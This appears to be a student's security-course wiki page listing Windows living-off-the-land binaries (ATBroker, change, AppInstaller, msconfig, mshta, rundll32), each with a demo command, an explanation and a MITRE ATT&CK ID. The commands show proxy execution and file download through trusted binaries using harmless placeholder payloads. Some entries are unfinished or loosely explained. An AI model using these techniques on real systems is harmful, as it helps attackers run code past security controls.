🌹Execution, Download, or Defense Evasion LOLBins🌹 - sophialevasseur/SEC-335 GitHub Wiki

Main DOC😱

1: 🌻Atbroker.exe🌻

  • The exact command you ran:
    • ATBroker.exe /start malware
  • a screenshot of YOUR output:
  • An explanation paragraph describing what the output reveals to an attacker (reference specific fields from your output):
    • EXPLAIN
  • The MITRE ATT&CK technique ID:
    • System Binary Proxy Execution: T1218
  • Source

2: 🌻change.exe🌻

  • The exact command you ran:
    • change.exe champuser
  • a screenshot of YOUR output:
  • An explanation paragraph describing what the output reveals to an attacker (reference specific fields from your output):
    • If an attacker uses change.exe they can gain the ability to perform System Binary Proxy Execution.
  • The MITRE ATT&CK technique ID:
    • System Binary Proxy Execution: T1218
  • source

3: 🌻AppInstaller.exe🌻

  • The exact command you ran:
    • start ms-appinstaller://?source=https://www.example.org/file.exe
  • a screenshot of YOUR output:
  • An explanation paragraph describing what the output reveals to an attacker (reference specific fields from your output):
    • Allows attackers to bypass built-in browser warnings and security filters like Microsoft Defender SmartScreen when tricking users into installing malicious software.
  • The MITRE ATT&CK technique ID:
    • Ingress Tool Transfer: T1105
  • Source

4: 🌻msconfig.exe🌻

  • The exact command you ran:

    • msconfig.exe

  • a screenshot of YOUR output:

  • An explanation paragraph describing what the output reveals to an attacker (reference specific fields from your output):
    • Attackers can use msconfig to disable security tools and modify startup items.
  • The MITRE ATT&CK technique ID:
    • T1562

5: 🌻mshta.exe🌻

  1. The exact command you ran:
    • mshta.exe vbscript:Execute("MsgBox ""Hello"":close")
  2. a screenshot of YOUR output:
  1. An explanation paragraph describing what the output reveals to an attacker (reference specific fields from your output):
    • This command allows attackers to execute VBScript through a legitimate Windows binary.
  2. The MITRE ATT&CK technique ID:
    • T1218.005

6: 🌻rundll32.exe🌻

  1. The exact command you ran:
    • rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert("test")
  2. a screenshot of YOUR output:
  1. An explanation paragraph describing what the output reveals to an attacker (reference specific fields from your output):
    • This command allows attackers to execute code through a legitimate DLL loader.
  2. The MITRE ATT&CK technique ID:
    • T1218.011